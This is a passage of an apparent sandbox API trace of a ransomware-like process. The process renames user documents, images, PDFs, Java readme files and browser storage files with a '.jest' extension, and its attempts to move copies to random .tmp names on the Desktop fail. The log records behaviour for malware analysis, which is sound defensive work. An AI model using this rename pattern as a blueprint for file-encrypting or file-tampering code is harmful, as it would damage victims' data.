lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0171.193] VarBstrFromR4 (in: fltIn=0x47945a61, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.76") returned 0x0 [0171.194] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h5J_drc08xoR3jG1Ml3JicOm4y5K1QyUZKNszi1kDUcbWgyD4MeXVDo38EJYHSMdkSBQQ2PryASfL_Ed1JeAMmyXvl88c1yHzp9e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h5j_drc08xor3jg1ml3jicom4y5k1qyuzknszi1kducbwgyd4mexvdo38ejyhsmdksbqq2pryasfl_ed1jeammyxvl88c1yhzp9e.tmp")) returned 0 [0171.194] GetLastError () returned 0x2 [0171.198] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ತ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.205] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="郎", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.206] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\ixRS2eSMkmVzTj.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ixrs2esmkmvztj.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\ixRS2eSMkmVzTj.ods.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ixrs2esmkmvztj.ods.jest")) returned 1 [0171.209] VarBstrFromR4 (in: fltIn=0x47945a63, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.77") returned 0x0 [0171.210] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\ixRS2eSMkmVzTj.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ixrs2esmkmvztj.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t19qKiYYFIFgnZZ-Ve-islRcPB-xCD2ab67OG0nyg9I1XSsxhUA54d3lzuC-pXbOBIMrmjd3eGf0bfikqcTsFycEN-88 AQFsEuHp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t19qkiyyfifgnzz-ve-islrcpb-xcd2ab67og0nyg9i1xssxhua54d3lzuc-pxbobimrmjd3egf0bfikqctsfycen-88 aqfseuhp.tmp")) returned 0 [0171.210] GetLastError () returned 0x2 [0171.214] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="࿏\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.215] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\XNUsgiQA8_K.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\xnusgiqa8_k.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\XNUsgiQA8_K.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\xnusgiqa8_k.xlsx.jest")) returned 1 [0171.217] VarBstrFromR4 (in: fltIn=0x47945a63, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.77") returned 0x0 [0171.218] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\XNUsgiQA8_K.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\xnusgiqa8_k.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UqLh-l5KdY2XW0_2jNyndX26efdZQjRWbU8QGq CS r00BdDKkDy-VHnb-pJdIUfi_y Bo9ATNvl _XrQX LbM4DHesvbxTr-lr-z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uqlh-l5kdy2xw0_2jnyndx26efdzqjrwbu8qgq cs r00bddkkdy-vhnb-pjdiufi_y bo9atnvl _xrqx lbm4dhesvbxtr-lr-z.tmp")) returned 0 [0171.218] GetLastError () returned 0x2 [0171.221] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.224] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt.jest" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt.jest")) returned 1 [0171.227] VarBstrFromR4 (in: fltIn=0x47945a65, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.79") returned 0x0 [0171.228] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dkZjosfqZT7uqqjBj_rOJtj0fYgQylAoEu76BSHYmPrjOqJuZtFuGuS3O1D1duKQerDBrJSpjVMfZEbreTP09HuDpD29oXAIe3rL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dkzjosfqzt7uqqjbj_rojtj0fygqylaoeu76bshymprjoqjuztfugus3o1d1dukqerdbrjspjvmfzebretp09hudpd29oxaie3rl.tmp")) returned 0 [0171.229] GetLastError () returned 0x2 [0171.229] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.230] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.jest" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt.jest")) returned 1 [0171.233] VarBstrFromR4 (in: fltIn=0x47945a65, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.79") returned 0x0 [0171.234] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cO5ma5HyEjwIa_-0Kpm9SHvgL8Yo BdByBBqKOVg3 EdoiyOemWT69cEhUStB yJfphidF F4Box0 c0c9IX5qi56GV HY8Q8mG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\co5ma5hyejwia_-0kpm9shvgl8yo bdbybbqkovg3 edoiyoemwt69cehustb yjfphidf f4box0 c0c9ix5qi56gv hy8q8mg.tmp")) returned 0 [0171.234] GetLastError () returned 0x2 [0171.235] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.236] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.jest" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt.jest")) returned 1 [0171.238] VarBstrFromR4 (in: fltIn=0x47945a67, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.8") returned 0x0 [0171.240] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OxzFuFjCz0iQ5Z4iu4IbipdBAwV9 6vReqCWK1qgzTMMZG9F53UwC6Mptc_1xpvEfZB57Oy72KgCgHFdGAmGM7Si2clA2Cx-quL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oxzfufjcz0iq5z4iu4ibipdbawv9 6vreqcwk1qgztmmzg9f53uwc6mptc_1xpvefzb57oy72kgcghfdgamgm7si2cla2cx-qul.tmp")) returned 0 [0171.240] GetLastError () returned 0x2 [0171.240] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.242] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.jest" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html.jest")) returned 1 [0171.244] VarBstrFromR4 (in: fltIn=0x47945a67, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.8") returned 0x0 [0171.245] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z0M9Txt_1Ht616BtsLtBFuk04cqI_r4zfTZuYgBWsUgj-8voBKb0RFhq66KFzu1x3iPNtFKHFIX1FiTxC06VCzIYTG1IxBgHOhsk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z0m9txt_1ht616btsltbfuk04cqi_r4zftzuygbwsugj-8vobkb0rfhq66kfzu1x3ipntfkhfix1fitxc06vcziytg1ixbghohsk.tmp")) returned 0 [0171.245] GetLastError () returned 0x2 [0171.247] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="သ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.250] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt.jest" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt.jest")) returned 1 [0171.252] VarBstrFromR4 (in: fltIn=0x47945a69, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.82") returned 0x0 [0171.253] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-LLjDGC5CO7B2bpOJX4_ 848ZpYCeYhz5EFsDBR1mQhUSTLzhEwy2LPVlvm9UWkmQS8l3wdziQ_TuuzwS6sVpHvg0kZce6UcIyv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-lljdgc5co7b2bpojx4_ 848zpyceyhz5efsdbr1mqhustlzhewy2lpvlvm9uwkmqs8l3wdziq_tuuzws6svphvg0kzce6uciyv.tmp")) returned 0 [0171.253] GetLastError () returned 0x2 [0171.256] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ओ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.257] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ࡿ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.258] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="၊\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.261] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.jest")) returned 1 [0171.263] VarBstrFromR4 (in: fltIn=0x47945a69, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.82") returned 0x0 [0171.264] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BH6Xjz fQF ZDIBMDOF5NjL zEg6xMop14jwhzvO5HX6pdlr8CtKvSnqq5G2lR-G_mTPROeUgyfxFagr _ej_ZLdpvyVqudkbvCiq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bh6xjz fqf zdibmdof5njl zeg6xmop14jwhzvo5hx6pdlr8ctkvsnqq5g2lr-g_mtproeugyfxfagr _ej_zldpvyvqudkbvciq.tmp")) returned 0 [0171.264] GetLastError () returned 0x2 [0171.265] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ၚ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.266] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ၠ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.267] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\d8CQJMgzkv7c.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\d8cqjmgzkv7c.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\d8CQJMgzkv7c.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\d8cqjmgzkv7c.png.jest")) returned 1 [0171.269] VarBstrFromR4 (in: fltIn=0x47945a6b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.84") returned 0x0 [0171.270] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\d8CQJMgzkv7c.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\d8cqjmgzkv7c.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AyTjOXHWZNH58qmz1offBnI80WCBpMPTdleSDuc5Z8w9ulGd3wTvCo98g2-g9pyXpSA0rUQXUh5 kSdVfwDxupy4QS0BoF3li C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aytjoxhwznh58qmz1offbni80wcbpmptdlesduc5z8w9ulgd3wtvco98g2-g9pyxpsa0ruqxuh5 ksdvfwdxupy4qs0bof3li c.tmp")) returned 0 [0171.270] GetLastError () returned 0x2 [0171.271] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ၠ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.271] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\ZI5wC.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\zi5wc.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\ZI5wC.pdf.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\zi5wc.pdf.jest")) returned 1 [0171.273] VarBstrFromR4 (in: fltIn=0x47945a6b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.84") returned 0x0 [0171.274] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\ZI5wC.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\zi5wc.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WciFqltpsNSicECGNwHB 54mRwrrEZMKvIwrbWZbPtVRu36orx6DmoLtM_Qy-iS4YgT8N2KVUYkbKpHAA_fG4NobUGlU2SBwdvF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wcifqltpsnsicecgnwhb 54mrwrrezmkviwrbwzbptvru36orx6dmoltm_qy-is4ygt8n2kvuykbkphaa_fg4nobuglu2sbwdvf.tmp")) returned 0 [0171.274] GetLastError () returned 0x2 [0171.274] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ၠ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.275] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\YrImdl7Jk n_AY.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\yrimdl7jk n_ay.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\YrImdl7Jk n_AY.pps.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\yrimdl7jk n_ay.pps.jest")) returned 1 [0171.276] VarBstrFromR4 (in: fltIn=0x47945a6b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.84") returned 0x0 [0171.278] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w67_j_1\\eJZ_ojTMBpUYlG\\TWmazDuP\\YrImdl7Jk n_AY.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w67_j_1\\ejz_ojtmbpuylg\\twmazdup\\yrimdl7jk n_ay.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gsIZvUGU7hR07M9mZJUCeLzvgnrhBiutVwke36KQp2OsJ-zeaqtpEu9SsPXvS-EYe004Xo6PMDfAzgfQTcGrnhb86JzWf9IjRTdx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gsizvugu7hr07m9mzjucelzvgnrhbiutvwke36kqp2osj-zeaqtpeu9sspxvs-eye004xo6pmdfazgfqtcgrnhb86jzwf9ijrtdx.tmp")) returned 0 [0171.278] GetLastError () returned 0x2 [0171.279] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.279] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ၚ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.280] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.280] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="大", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.281] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, 